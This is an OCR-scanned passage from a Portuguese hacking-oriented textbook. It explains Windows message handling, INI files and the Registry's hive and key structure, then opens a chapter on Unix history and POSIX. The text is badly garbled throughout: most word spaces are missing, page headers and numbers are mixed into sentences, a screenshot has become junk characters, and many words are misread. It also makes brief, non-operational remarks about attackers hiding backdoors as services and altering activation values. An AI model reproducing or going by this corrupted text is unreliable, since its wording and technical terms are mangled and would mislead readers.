paraumdeterminadoendereçoassociadoa essainterrupção,e entregao con- trole da CPU ao programaque lá reside. Esseprogramaé chamadode manipuladordeinterrupçõesou interrupthandler. O interrupthandlernãoé umprogramadaElOSe simumarotinadosistema operacional,portantoéóbvioqueoWmdowsinstalouláseuprópriomanipulador paramontarmensagensbaseadasnasinterrupçõesrecebidas.A mensagemdo exemploconteráoidentificadordemensagensWM_KEYDOWN,umnúmeroiden- tificandoqualteclafoipressionadae o identificadordajanelaemqueateclafoi pressionada.Depoisdisso,a mensagemseráenviadaà janela.O tecladogerará aindaoutramensagemidentificadacomoWM-CHAR,contendoo códigoASCII datecla.Quandoa teclafor solta,é geradaumamensagemWM_KEYRELEASE. Asmensagensgeradasvãoparaumamachamadaapplicationmessagequeue. Cadaprogramapossuisuama,e o Windowsdirecionacorretamenteasmensa- gensparacadaum.As aplicaçõesvãosacandocadamensagemda ma e as redirecionandoparaasjanelascorrespondentes.As janelas,por suavez,possu- emfunçõesembutidaschamadasde windowprocedures,quetratamosdados recebidosnamensageme decidemo quefazercomeles.Algumasmensagens nãosãodirecionadasanenhumajanela.Taismensagenscaemnoprocedimento defaultdoWindowse sãotratadaspeloprópriokernel. 6 Não é objetivodestelivro servir de referênciaparaprogramadores.Entretanto,se você quiser realmenteaprendercomovíruse cavalosde tróiafuncionamno Windows,é necessárioquevocêdomine umpoucomaisdeprogramaçãodo queo básicodeVisualBasicou DeIphi.Bonspontosdepartidasãoas documentaçõesdaMicrosoftFoundationClasses(MFC),do WindowsSoftwareDeveIopmentKit (WSDK) e o siteoficialdaMicrosoft(www.microsoft.com). 1751 1 PlataformaWindows
  • I UniversidadeH4CK3RI Comoé mesmoqueeufaçoaquilo? Todosistemaoperacionalpossuium mecanismoparamantersuasconfigu- rações.Com o Windowsnãopodiaserdiferente,mas,ao contráriodevários outrosSOsqueutilizamarquivosdetextopuro,aMicrosoftcriouumaestrutu- racompilada(binária)e extremamenteobscuradeguardarascoisas.Háprós e contrasnessaabordagem. Os arquivos INI o veteranoWindows3possuíaumamaneiraaparentementefácildemanteras configuraçõesdo sistema.Pormeiodearquivosdetextosimplescomextensão INI, erapossíveldefinirtodasasconfiguraçõesdoWindowse dasaplicações, carregardriversdedispositivoe módulosparao kerneldosistemaoperacional. Inicialmentehaviadoisarquivos,WIN.INI e SYSTEM.INI.O primeiroarmaze- navaasconfiguraçõesreferentesao usuário(cores,ícones,posiçãodasjane- las)e o segundoaspartesreferentesà máquina,ao hardwaree aofunciona- mentointernodoWindows- driversdedispositivo,programasresidentes,ca- minhose arquivosinternos.O arquivoSYSTEM.INIguardavatambémconfigu- raçõesdosprogramase aplicativosqueo usuárioinstalavaemsuamáquina. Masa vidaeraduraantesdoWindows95.Os arquivosINI podiamter um tamanhomáximodeapenas64KB.Mesmosendoumarquivodetextopuroessa limitaçãopermitiaguardarumaquantidadede informaçõesmuitopequena.A soluçãofoi colocar,no SYSTEM.INI,apontadoresparao localdeoutrosarquivos INI, e cadaaplicaçãopoderiatero seu.Os programasaindatinhampermissão de mantersuasconfiguraçõesno SYSTEM.INI,masos desenvolvedoreseram encorajadosa criarseusprópriosINIs.Por exemplo,no SYSTEM.INIhaviauma indicaçãoparao MicrosoftExcel(C/OFFICEIEXCEL.INI),e neleo Excelguar- dariasuasconfigurações.Simples,não?Nemtanto. No início,os usuáriosinstalavampoucosprogramas.GerenciarpoucosINIs eratarefafácilparaoWindowse parao usuário.Mas,à medidaquenovospro- gramascomeçarama aparecer- algunssériose umaimensamaioriade inutili- dadesrepletasdebarulhinhos-, jánãoerapossíveldesempenhartalfunçãocom agalhardiadeoutrora.ComodeterminarqualdosarquivosINI (osdesistemae os dasaplicações)teráprecedência,casoalgumparâmetroestejaconflitante? O limitede64KBtambémcomeçouaficarpequenoparaaquantidadededeta- lhesquecadaaplicaçãotinhadearmazenar,emesmoo SYSTEM.INIestavarepleto devetoresapontandoparaosoutrosINIs.Outrosfatorescontribuíamparao au- mentodotamanhodosINIs: aplicativosqueeramdesinstaladosnormalmentenão removiamsuaslinhasdoSYSTEM.INI,e mesmoumsimplesupgradedeprograma (porexemplo,doWordPerfect2 parao 3),namaioriadasvezes,terminavaem configuraçõesduplicadasno arquivo.No boot,o Wmdowseraobrigadoa ler o conteúdodepaquidérmicosWIN.INIe SYSTEM.INI,que,mesmomenoresdoque 64KB,contribuíamparaaquedadedesempenhodosistema. 761 PlataformaWindows[
  • Universidade1°ano Registrar o quê? A partirdoWindowsNT,e notadamentenoWindows95,aMicrosoftintrodu- ziu umanovamaneirade lidarcom essasinformaçõesquefosse,ao mesmo tempo,centralizadae flexível.BatizadadeRegistrodoWindows(ou,eminglês, WindowsRegistry),o novosistemade armazenamentoaliviao SO de terde lidarcomumainfmidadedearquivosINI espalhadospor diversosdiretórios. Maso queé,exatamente,essenegóciodeRegistro?Podemosdefmi-Iocomo umbancodedadosemquesãoarquivadastodasasconfiguraçõesdo sistema. Semprequeumusuáriofazalgumamudançano PaineldeControle,alteraalgu- maassociaçãodearquivoou instalaum programa,taismudançassãoguarda- dasnele.O sistemaaindausao Registropararastrearos softwaresinstalados, seusarquivose comocadaprogramaserelacionacomos outros. Emtermospuramentelógicos,o registroé umaentidadeúnica,emboraeste- jafisicamentecontidoemumconjuntodearquivosseparadosporafinidadede configuração.Cadaumdelespossuiumtamanholimitede40MB- maisdoque suficienteparaqualqueraplicação. NafanúliaWm9xtemososarquivosSYSTEM.DAT,quetratadasconfigurações dehardwaree software,eUSERDAT,quetratadasconfiguraçõespessoaisdecada usuário.OWmdowsMeaindapossuiumterceiroarquivochamadoCLASSES.DAT, quearmazenaalgumasinformaçõessobreprogramase associaçõesdearquivos. OsarquivosSYSTEM.DATeCLASSES.DAT,sendoúnicos,estãosemprenodiretório C\WINDOWS.SempreháumUSERDATnessemesmodiretório,também.No en- tanto,seo seusistemaestiverconfiguradoparapermitirperfis,cadausuárioterá seupróprioUSERDATno diretórioC\WINDOWS\Proilles\\, ficandoo arquivododiretóriodoWmdowsapenascomodefault.Quandoo usuá- rio fazloginno sistema,suaáreadetrabalhopersonalizadaserálidae carregada. Casoa utilizaçãodeperfisdeusuárioestejadesabilitada,todososusuárioscom- partilharãoasmesmaspreferênciasgravadasemC\WINDOWS\USERDAT. A fanúliaWinNT (incluindoaí o Windows2000)mantémtodosos arquivos doregistroem%SystemRoot%\System32\Config.AocontráriodoWindows9x, seis arquivosabrigamo registroda famíliaNT: DEFAULT.DAT,SAM.DAT, SECURlTY.DAT,SOFTWARE.DAT,SYSTEM.DATe NTUSERDAT.Os arquivosque contêmo registrosãochamadosdeHives7. Apesardasdiferençasfisicas,logicamenteosregistrosdasduasfanúliassãomuito parecidos.Ambosresidememarquivosbinários,sãobaseadosemelementossim- ples,compostosporumadupla"nome=dado",sãoorganizadosemcincooumais grandesseções,chamadasdeRootKeys(ouHKEYs) e nãopodemsereditados diretamente:é necessáriousarprogramasespeciaisparatal.Existemdiversasfer- ramentasquepodemserutilizadasparavisualizare editaro registro.A maissim- plesé o EditordeRegistros(REGEDIT.EXE),incluídono próprioWmdows.Usare- moso RegEditpara"escarafunchar"umpoucoemnossosistema. 7 Umacuriosidade:osHivesdo WmdowsXP nãopossuema extensão.dat 1771 ]PlataformaWindows
  • I Universidade H4CK3R I A estruturadoRegistro Paraorganizarmelhoros dadosno registro,adotou-seumaestruturahierár- quica.Por issomesmoessaestruturaassemelha-seà organizaçãoemdiretórios e subdiretórios- ou,usandoa terminologiaMicrosoft,"pastase subpastas".O RegEdittirapartidodissoe apresentaessaestruturade formamuitosimilarà queoWindowsExplorermostrao conteúdodeseudiscorígido. .,u.]..[ ".,..". [valornãodefinido) EI'~ Meucomputador IÍJI1JiiIHKEY_CLASSES_ROOT $1:iIHKEY_CURRENT_USER ffi.GfjjJHKEY_LOCAL_MACHINE B~ HKEY_USERS , IJJ~ .DEFAULT EI~ Software B'~ Micro$oft . I!H~" I~H~HKEY_CURRENT_CONFIG ffJ1ill2IHKEY_DYN_DATA Observequeos dadosestãoorganizadosemseisgrandesgruposcujosno- mesiniciam-secomasiglaHKEY Cadaumdessesgruposé chamadodeseção ouRootKeye podecontervaloreschamadosdechaves.Por exemplo,noRoot KeyHKEY_USERSdo exemploacima,háumachavechamada.DEFAULTe ou- trachamadaSoftware.Chavespodempossuirduplasnome/dadochamadasde valor ou outraschaves.A chaveSoftwarepossui umasubchavechamada Microsoft,quepor suavezpossuioutrasubchavechamadaWindows,quepor suavezpossuiumvalorpadrão.Sãoasduplasnome/dadoquerealmentearma- zenamasinformaçõesno registro.Há trêstiposdevalores:String(umvalor emtextopuro),Binary(umvalorbinário- normal- mentedadosreferentesahardwaree chavesdeati- vaçãocriptografadasde software)e DWORD(nor- malmenteum valorbooleano- 1 paraativado,O paradesativado).Autilizaçãodecadaum delesde- penderádo contexto. Há cincoseçõesemalgumasversõesdoWindowse seisnasdemais.Cada seçãotemumaespecializaçãoe contémasinformaçõesreferentesa ela. ~ HKEY_CLASSES_ROOT- Estaseçãocontémtodasasassociaçõesde arquivodoWindows.É por meiodelaqueoWindowssuportadraganddrope OLE e permitea definiçãode atalhosno sistema.Algunsaspectosda GUI N.omei." §J (Padrão) §J AUachToDe,klop 8!1 Bit,PerPixel 8!1De$ktopPo$ 8!1DPILogica~ ~"C"M:M'" ;.!ILba&$v
  • Universidade1°ano (interfacegráficacom o usuário)tambémsãodefinidosnela.Pararemover umaassociação,bastaexcluira chavecoma extensãodo arquivo.EsteRoot Keyé falso:naverdade,é umasubchavedeHKEY_LOCAL_MACHINE. ~ HKEY_CURRENT_USER- Contémasinformaçõesdousuárioqueestáatu- almenteusandoo sistema.Tambémé umRootKeyfalso:naverdadeé umatalho paraumasubchavenaseçãoHKEY_USERS.Quandoo usuáriodálogout,todasas configuraçõesdedesktop,menuIniciar,logine senhasdeHKEY_CURRENT_USER sãosalvasnachaveexclusivadousuárioemHKEY_USERS. ~ HKEY_LOCAL_MACHINE - As informaçõesusáveispor todosos usuá- riosindiscriminadamenteestãonestaseção,incluindohardwaree seusdrivers, softwareinstaladoe suaconfiguraçãoe preferênciasglobaisemgeral. ~ HKEY_USERS- Aquivãoaspreferênciasindividuaisdecadausuário,que érepresentadoporumasubchaveCLSID.Quandoo usuáriose"Ioga"no sistema, suas preferências e configurações são copiadas daqui para HKEY_CURRENT_USER.Quandoo usuáriodá"logout"- e apareceaquelediálo- godizendo"Salvandosuasconfigurações"ou"Savingyoursettings"-, o sistema estánarealidadecopiandoo conteúdodeHKEY_CURRENT_USERdevoltana chaveprivadadousuárioemHKEY_USERS.Umamaneirafácildevoltarascon- figuraçõesdousuárioaopadrãodo sistemaé apagarsuachavenesteRootKey. ~ HKEY_CURRENT_CONFIG- SemelhanteaHKEY_CURRENT_USER.An- tesdeseremsalvas,asalteraçõesnoregistroreferentesàinstalaçãodehardware e softwareestãoguardadasnesteRootKey,quenaverdadeé apenasumatalho paraumasubchaveemHKEY_LOCAL_MACHINE. ~ HKEY_DYN_DATA- MaisumRootKeyfalso:apontaparaoutrasubchave deHKEY_LOCAL_MACHINE.DispositivosPlugandPlayusamestaseçãopara armazenarsuasconfiguraçõesdurantea instalação.Comoo próprionomediz, esseRootKeyé dinâmicoe seráalteradosemprequedispositivosdehardware foreminstaladosouremovidosdo sistema.SistemasdafamíliaWinNT (incluin- doWindows2000eWindowsXP) nãopossuemesteRootKey,emboraachave dentrodeHKEY_LOCAL_MACHINEaindaexista. Todasaschavese subchavespossuemumvalorpadrãoe podempossuirum ou maisvaloresmodificáveis.O quechamamosde valoré na realidadeuma duplaformadapor umnomequeo identificae umdadoaeleassociado. Umduplocliqueemqualquerumdosvalorespermiteeditá-Ios.Nãoénecessário "salvar"asalterações:o próprioRegEditseencarregadefazê-Ioautomaticamente aoserfechado. CLSIO? Algumaschavese valorespossuemumcódigocompletamenteilegívelchama- doCLSID.AcrônimoparaClassIdentifier,osCLSIDssãoumaseqüênciadeletras 8 Classessãoentidades"c1onáveis"queencerramdentrode si valoresvariáveise constantese rotinas chamadasdemétodos.Paramaisinformações,consulteosapêndicessobreprogramaçãodisponiveisno CD. 1791 I PlataformaWindows
  • IUniversidadeH4CK3RI e números,únicosnosistema,queidentificamcadaumdoscomponentesCOM existentes. Um exemplo de CLSID é {172BDDF8-CEEA-llDl-8B05- 00600806D9B6}.Complicado,não? ComponentObjectModelsouCOMssãomeiosdecontrolaroWmdowsatravésde scriptssimples.O sistemausao modelocliente/servidor:háprogramasqueoferecem serviçosCOMparaqueaplicações-clientepossamusar.As aplicações-clientesãoos scriptscriadospelousuário.OsservidoresCOMdisponibilizamosmétodos(rotinas quefazemaJgumacoisa)evariáveispormeiodec1asseS8.Cadaumadasclassesexisten- tesnoWmdowspossuiumidentificadorúnicochamadoClassIdentifierouCLSID. UmservidorCOMmuitoconhecidodosprogramadoresé o MicrosoftWord.É possívelusarumobjetodoWordemoutrasaplicaçõespormeiodoCLSIDdesse objeto.OutrosservidoresCOMmuitousadossãoo InternetExplorer(abasedo Windows)e o OutlookExpress. É possívelcontrolardiversosaspectosdoWmdowssimplesmenteassociando CLSIDsa chavesno Registro.Assimcomoosprogramadoreso fazemparafacili- tarsuavida,oshackersusamosCLSIDsnãodocumentadosparacriarmeiosde "tomar"suamáquinaemumainvasão.Por meiodosCLSIDsé possívelusaros própriosmecanismosdoWindowsparaestabelecerumacomunicaçãoentreo computadorinvadidoe o invasor,sema necessidadede um cavalode tróia muitoelaborado. Comessesfundamentosjáé possíveldissecarasentranhasdesseentemiste- rioso.Os autoresacreditamque seriapossívelimplementarCLSIDscom no- mesmaislegíveis,masa Microsoftnãosó elaborouo padrãodessaformaobs- curantistacomonãodivulgoumuitasinformaçõesa respeito.Apesardisso,al- gumasinformaçõessobreCLSIDs,COM e o Registropodemserencontradas noTechNet(www.microsoft.com/technet).Fogeao escopodestelivro anali- sarcomprofundidadetodosos aspectosdo Registroe seusCLSIDs,embora sejaobrigaçãodetodocandidatoa hackerir atrásdessesconceitos. Um poucode graxa noscotovelos... De todo o RegistrodoWindows,a seçãomaisinteressanteé,realmente,a HKEY_LOCAL_MACHINE.Usandoo RegEdit,navegueatéessaRootKeye obser- veatentamentesuaschaves.AsdescriçõesabaixoservemparaafamíliaWinNT- foramretiradasdeumWindowsXP Professional.A FamíliaWin9xpossuialgu- masdiferenças,emborasejamuitosemelhantenamaioriadoselementos. A chaveSystemcontémtrêschavesControlSet(noWm9x,apenasuma),mais aschavesLastKnownGoodRecovery(queapontaparao melhorControlSetem casodepane),MountedDevices(quelistatodosos dispositivosdediscoe de redeemuso),Select(comconfiguraçõespadrão)e Setup(cominformaçõesso- brea instalaçãodoWindows).As chavesControlSetOOle ControlSetOO2exis- temapenasnafamíliaWmNTe sãobackupsdeconfiguraçõesanteriores.Uma delasseráutilizadase,duranteo boot,forescolhidaaopção"Revertto lastknown 180I PlataformaWindows[
  • Universidade1°ano good configuration"ou "Usar última configuraçãofuncional". A chave CurrentControlSetexisteemtodasasfamíliasWindowse é a queefetivamente abrigaa configuraçãoatualde seucomputador.É divididaemquatroseções: ~A ControlcontémasconfiguraçõesdoPaineldeControle.Na realidade,o PaineldeControleé meramenteumfrontendparaessachave. ~A chaveEnumcontéminformaçõesarespeitodetodasasinterfacesdeI/O docomputador,comoUSB,IDEe PCI.Normalmentenãosedeve"bulir"comessa chave,mashackersexperientespodemusá-Iaparaauxiliarno controledo com- putadorinvadido,forçarumavulnerabilidadeou plantaralgumabomba-relógio. ~A HardwareProf1lesguardaasconfiguraçõesdehardwaredamáquina.O Windowspermitequeváriasconfiguraçõesde hardwarediferentespossam serusadasna mesmainstalação,e elassãoguardadasaqui.Paraexcluiruma configuraçãodehardware,bastaexcluira subchavecorrespondente.O perfIl dehardwaresendousadoestácontidoemCurrent.Hackersmal-intencionados podemalterarou excluirassubchavese deixara máquinadesconfigurada. ~PorfIm,a Servicescontémdadossobretodososserviçosqueestãosendo executados.Énessaseçãoqueosdriversdedispositivo,asbibliotecasdevíncu- lo dinâmico(DLL)e osmódulosdevirtualizaçãodokernel(VxD) sãocarrega- dos.VxDs são,na realidade,referênciasa gruposde arquivoscom extensão SYS.Na chaveServicestambémsãoarmazenadosos parâmetrosque devem serpassadosaosVxDs e àsDLLsquandosãochamadas.Na prática,todosos serviçosqueo Windowsconhece(estejamrodandoou não)estãoarmazena- dosemsubchavesdentrode Services,incluindoserviçosde comunicaçãoe redes.IssosignifIcaqueapagarumachavedessassignifIcaesconderdoWindows a existênciadetal serviçoou programamesmoqueaindaestejafIsicamente instaladono HD!O administradordesistemaspodesimplesmenteexcluirdaqui umaconfiguraçãoderedesqueestejadandoproblemas.E o hacker,porsuavez, podeimplementarseusbackdoorscomoserviçosnessachave. AindaemHKEY_LOCAL_MACHINE,a chaveHARDWAREcontématalhospara outraspartesdoregistroquepossuaminformaçõessobreo hardwareinstalado. É compostopelaschavesACPI(dadosdofabricantedamáquina),DESCRIPTION (dadossobreprocessadore memória),DEVlCEMAPS(configuraçãodedispositi- vosdeE/S)e RESOURCEMAPS(configuraçãodosrecursosdoWindows). DetodasaschavesdeHKEY_LOCAL_MACHINE,talvezamaisimportantepara nossoestudosejaa seçãoSOFfWARE.Observea organizaçãopor fornecedor.A chavedecadafornecedor- porexemplo,Adobe,StarDivision,Microsoft- encer- ra asinformaçõesglobaisparatodosos aplicativosde um mesmofabricante, incluindorastreamentodeversões,instruçõesparaatualizaçãoe desinstalação, pastasdeinstalação,de trabalhoe deorigem.Algumasvariáveisdesistematam- bémsãomantidasaí,como,porexemplo,achaveClasses,quecontémasassoci- açõesdearquivo.O RootKeyHKEY_CLASSES_ROOTé,naverdade,apenasum atalhopara HKEY_LOCAL_MACHINE\SOFTWARE\Classes. I 81I ]PlataformaWindows
  • I Universidade H4CK3R I otesouro Cadafabricantetem suaprópria subchave,e a Microsoft,sendotambémuma desenvolvedorade software,possuiumasubchaveem HKEY_LOCAL_MACHINE\ SOFIWARE.A diferençaé que,sendoadesenvolvedorado sistema,colocoualitudoo quepoderiasernecessárioparaaconfiguraçãoeintegraçãocomoutrosprodutosMicrosoft. Portanto,nãoháaquiapenasinfonnaçõessobreosprogramasMicrosoftinstalados,como oWordouoExcel.MuitasinfonnaçõesquepodemserusadaspelosserviçosdeBackOffice, bemcomoamaioriadosserviçosMicrosoft,possuemchavesaqui.Infonnaçõessobre DIls, controleseplug-insActiveX,o MicrosoftInstaller(MSI)ealocalizaçãodasmídiasde instalação,entreoutrascoisas,tambémpossuementradassobachaveMicrosoft. Como exercício antesde prosseguir,coloque o livro um pouco de lado e pesquisebastanteem todasas subchavesabaixoda chaveMicrosoft. Entre em umapor uma,verifiqueseusnomese subchaves,verifiqueo conteúdo(nome/ dado) dos valores.Observeque há chavesque possuemváriosvaloresem um nível,mesmoestetendo subchavesde nível maisbaixo. Não alterenada!Ape- nas observee deixe a chaveWindows para o lmal.Pronto? Ótimo! Vamosolharcom maisatençãoachaveWindows.Nelahá trêschaves:Current Version,ITStoragee Shell.A ITStoragee Shellnão têm muitautilidadeem siste- masisolados,masa CurrentVersionpossuimuitasinformaçõesinteressantes.Obser- veosvaloresdaprópriachave.Entreelestemoso ProductID(que,noWmdowsXP,é, importantíssimoparaa ativação- e é um dosvaloresalteradospeloscrackerspara burlá-Ia)e os caminhosparaos componentesprimáriosdoWmdows,comoo local ondeestãoos arquivosde programas. Além dessesvalores,a chaveCurrentVersionabrigacentenasde subchaves.Algu- massãofáceisde entender,como a chaveExplorer\Tips,que contémas"dicasdo dia".É possívelalterá-Iasparacolocaroutrasdicasou mesmoincluir maisvalores com novasdicas.Outrassubchavessãomaisherméticas.A subchaveInstaller,por exemplo, abrigadados relativosao Microsoft Installer (MSI), mas faz uso dos indecifráveisvaloresCSLID.Navegueum poucopor essasduaschavese só retomea leiturado livro quandotiverumavisãogeraldo fimcionamentodeambas. Com essesfimdamentosentendidos,o RegistrodoWmdowsjá nãodevesermais um mistériotãoobscuroparao leitor.Como"tarefaparacasa",sugerimoso estudo (como RegEdit)dasseguinteschaves: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\EventSystem HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Multimedia HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Shared Tools HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Outlook Express HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Updates HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\ - App paths 182I PlataformaWindows[
  • Universidade,oano - Control panel - Controls Folders - Explorer - Installer - policies - Run (programas carregados em todos os boots) - RunOnce (programas carregados só urna vez) - RunOnceEx (programas carregados só urna vez e excluídos) - Setup - SharedDLLs (MUITO importante!) - Unins tall HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet HKEY_LOCAL_MACHINE\SYSTEM\MountedDevices HKEY_LOCAL_MACHINE\SYSTEM\Setup depois Lembrandosemprede quetomamoscomopontode partidao Registrodo WmdowsXP.Seo leitorpossuioutraversãodoWindows,seráinteressantetambém procurarpelasmesmaschavesnelaparaconhecerasdiferençase semelhanças. Whereto, buddy?9 Emumlivrocomoestenãoháespaçoparaseaprofundarmais.Felizmente,a Internetoferecealgunsrecursosparaquemquerou precisaconhecermais sobrea estruturadossistemasoperacionaisdaMicrosoft. Um bompontode partidaé o TechNet(www.microsoft.com/technet).site daMicrosoftdirigidoatécnicose programadores.Napáginaprincipal,hálinks paraastecnologiasmaisatuaisdaempresa,comooWindowsXP eaplataforma .NET.Entretanto,é possívelusarosmecanismosdebuscado própriositepara encontrarqualquerinformaçãosobrequalquerproduto.Com um pouco de pesquisaé possívelconhecer,por exemplo,detalhesda estruturainternado kerneldoWindows98 ou diferençasentreos registrosdoWindows95 e do WindowsNT.Mesmoasespecificaçõesde coisasmuitoantigas,comoo MS- DOSe o LAN Manager,podemserencontradas.Preferimoso siteamericanoe nãoo brasileirodevidoàvelocidadedeatualizações,emboraestejaeminglês. OutrossitesemquepodemhaverinformaçõessobreplataformasMicrosoft são o site principal da empresa (www.microsoft.com). o Winguides (www.winguides.com)e oTechRepublic(www.techrepublic.com).Nãodeixe devisitá-Ios.Há muitasinformaçõesreunidasapenasnessessites. 9 Quemjogavaarcadegamesno final dos anos 80 certamentereconhece essafrase. Seainda não descobriu de quejogo estamosfalando, infelizmentenão podemos dar maisnenhumapista. Har bar bar bar bar ... 1831 ] PlataformaWindows
  • Plataformas.nlx Capítulo 'Subitalvezàsmáximasalturas,Mas,sehojevolto assim,comaalmaàsescuras. Énecessárioqueindaeusubamais!" AugustodosAnjos, "Solilóquiode umvisio- nário"do livro Eu e outrospoemas- 1912
  • !UniversidadeH4CK3RI Não fomosnósquedissemos,massima Netcraft(www:netcraft.com):66% dosservidoresWebnaInternetrodamalgumtipo deUnix.Essamaioriaesma- gadorade sitesqueprestigiamo veteranosaídodoslaboratóriosdaAT&T na décadade 60 nãoo faz à toa.Enquantonasmáquinasdesktop(aquelasque vocêusaemcimade suaescrivaninha,no trabalhoou emcasa)o Microsoft Windowsé consideradoo padrãode fato,emservidoresparaInternetnãohá muitadiscussãoemtornodo sistemaoperacionala serusado. a Unixéumsistemacommaisde30anosdeestrada.Robusto,leveeportável, vemsendolapidadodesdeseulançamentoem 1969e, apesarde já serbem antigo,estásempreafinadocomasnovidadestecnológicas.Por sero sistema maisusado,é tambémo sistemamaisatacado.a fatode funcionarcomoo motordedoisterçosdossitesdomundoe mesmoassimsermuitomenosinva- didodo quequalquerumdosadversáriosmostraa confiabilidadedessessiste- mas.A contrapartidaé que,por serassimtãoconfiávele poderoso,é tambémo sistemaoperacionalmaisusadoparaoriginarataques,qualquerquesejao alvo. o modeloUnix desistemasoperacionais É interessantíssimoo poderdamídia.QuandosefalaemA Belae a Fera, ninguémlembrado filmedeCocteau,consideradoumadasobras-primasdo cinemafrancês.Muitomenosde JeanneMarieLeprincedeBeaumont,pes- quisadoraqueno século18coletoudiversoscontosmedievaissobreo tema e os reuniu,costurandoa históriaqueconhecemoshoje. Pelo contrário,as pessoassó se lembramdo desenhoanimadorecentementelançadopor um grandeestúdionorte-americano... Emsetratandodesistemasoperacionaistemoso mesmoproblema.Na lem- brançadetodos,apenasossistemasmaisnovosprevalecem,mesmosendome- nos otimizadosou menospreparadosparaserviçosde redee missãocrítica. Apesardisso,aoredordoglobomilhõesdeadministradoresderedeseutilizam dealgumavarianteUnix pararesolverproblemasqueoutrasplataformasnem sonhamenfrentar. as sistemasUnixpodemserconsideradostantobelasquantoferas.A Internet nãoexistiriasemos sistemasUnix - aliás,a Internet foi criadapara interligar APENASsistemasUnix...Atéhoje,comoos dadosdaNetcraftpodemcompro- var,amaioriadosservidoresWebdomundoempregaalgumavariantedeUnix, e háesforçosparaquesistemasUnix ousimilaressejamutilizadosemestações deescritóriooumesmoemdispositivosmóveis,comocelularese palmtops. HámuitabelezanossistemasUnix.Suaestruturarígidae bemmontadapare- ceaosolhosdosseususuáriosquasequecomomaravilhosospoemas.a poder de fogoqueessesistemadáa quemo dominachegaa serinebriante.Por sua origememlaboratóriosdepesquisacomoambientededesenvolvimento,o Unix possuidiversasferramentasparaadministradoresde sistemase redese para 86 I Plataforma Unix r
  • Universidade1°ano programadores.Tambémpor essaorigem,háumaenormee fraternalcomuni- dadedeusuáriosquetrocamexperiênciase seajudammutuamente.Asgrandes empresasquefabricamouoferecemsoluçõesbaseadasemUnix formaramum consórcioe definiramdiversospadrõesque garanteminteroperabilidadee conectividade.O Unix éconsiderado,exatamentepor isso,umsistemaabertol. Sim,o Unix é belo.Masbelocomoumgrandefelino.Domá-Iorequertreina- mento,persistênciae umpouquinhodecoragem.O conhecimentoparadomi- narnossaferanãoé "rocketscience",entretanto.As pessoassentem-seame- drontadaspelaquantidadedeferramentasdisponíveisoupelapróprialinhade comando.As interfacesgráficas,apesardenãoserem"toscas"comonosprimei- rostempos,sãodiferentesdasqueamaioriadosusuáriosestáacostumada.Por fim,hávários"sabores"diferentesdeUnix a escolher.Cadaqualtemseusatra- tivos,mastambémtemsuasdillculdadese...Espereaí!Sabores? Apenasumjogo de computador... Em 1963,o MIT, os laboratóriosda Bell (empresade telecomunicações estadunidense,subsidiáriada gigantetelefônicaAT&T) e a GeneralElectric Companyuniram-separacriarum sistemaoperacionalrevolucionário.Obvia- mentebaseadonoscomputadoresGE,o projetotinhacomoobjetivos: ~Sermultiusuário; ~Sermultitarefa; ~Oferecergrandecapacidadedearmazenamentoparadadose programas; ~Permitircompartilhamentodedadosentreusuáriose grupos. O sistemafoi batizadode MULTICS,numareferênciaàs suascapacidades multiusuárioe multitarefa.Após quatroanosde desenvolvimentoem um GE-645,o MULTICSde 1969estavamuitíssimoaquémdosobjetivospropostos. Nessemesmoano,osBellLabsdecidiramsairdo projeto. Frustradoscomainterrupçãodeseusesforçose desejososdepossuirumsiste- ma que realmenteatendesseaos propósitos iniciais do MULTICS, alguns desenvolvedoresdosBellLabsresolveram,secretamente,iniciarodesenvolvimento de outrosistemaoperacional.Um dessesdesenvolvedoreseraKenThompson, quenãoqueriamaisusaro GE-645comMULTICSquehaviaficadonosBellLabs parabrincarcomseujoguinhopreferido.O SpaceTravelsrodavamuitomalno MULTICS,e cadapartidacustavaàAT&Taproximadamente75dólares. Thompsondecidiuentãoportarseujogoparaoutrocomputadorqueestava "dandosopa"nolaboratório,umPDP-7tambémdaDEC.Masosistemaoperacional doPDP-7nãoeramuitoflexível,entãoThompsoncomeçouaescreverrotinasde apoioparaseujoguinho.Noperíododeumano,aindaem1969,as"mandracarias" deThompsontornaram-sea primeiraversãodo sistemaoperacionalUnix,total- 1Aviso aos mais radicais:quando falamos em sistemas abertos, falamos de padrões abertos.A discussão sobre software livre e código aberto é uma outra história... 1871 I PlataformaUnix
  • I Universidade H4CK3R I menteescritanoAssemblerdoPDP-7.ParaconvencerseussuperioresnosBellLabs da seriedadedo projeto, apresentaram-nocomo um futuro sistemapara processamentodetextos,oqueposteriormenteevoluiuparaumsistemaoperacional deusogeral.ApalavraUnix2eraumtrocadilhocomo nomedoMULTICS3. Apenasem1971o Unix seriaconsideradoum sistemaoperacionalacabado. Atéesseano,muitastecnologiasforamdesenvolvidasparaqueo "bebê-ux"vies- seaomundo.Umadelasfoi a linguagemC, desenvolvidapor DennisRitchiea partirda linguagemB deThompson.O Unix foi totalmentereescritoemC e pôde,comisso,serportadoparaqualquermáquina:bastavarecompilá-Io.O conceitode portabilidadeé o maiortrunfodo Unix atéhoje e abriunovos horizontesparaa computação.Em 1977,o Unix foi lançadocomo sistema operacionalcomerciale, de lá paracá,vemequipandosistemastãodiversos comodispositivosdemãoe supercomputadoresCray. Nestelivro,usamosapalavraUnix indiscriminadamentereferindo-nosaqual- quervariaçãoou "sabor"dossistemasbaseadosno Sing1eUnix Specification, queenglobaospadrõesPOSIX,XPG4eANSIC.Outrosautoresusamasnomen- claturas*nix,u*ix e Unix-like.Unix é marcaregistradadoThe Open Group (www.unix-systems.org)."SimilaresaUnix"indicasistemasqueseparecemcom umUnix,masnãoo sãooficialmente(comoo GNUlLinuxe o FreeBSD). POSIX Os trêsdocumentosqueformamo superconjuntoSingleUnix Specification aplicam-seapartesdiferentesdo sistema.ANSI C é o padrãoparaa linguagem de programaçãorecomendadaparao desenvolvimentodesistemasUnixe pode serencontradoem(www.ansi.org).Já o XPG4é o padrãoparaimplementaçãodo servidorX, o programacentralparaaplicaçõesgráficasemUnix.Informaçõessobre aespecificação,o servidorX eo X Consortiumpodemserobtidasem(www.x.org). Masháummaisimportantequeosoutrosdois.TodoUnix queseprezedeve, obrigatoriamente,aderirao POSIX,um padrãomantidopor váriasentidades: IEEEe OpenGroup,nosEstadosUnidos,e ISO/IEC,na 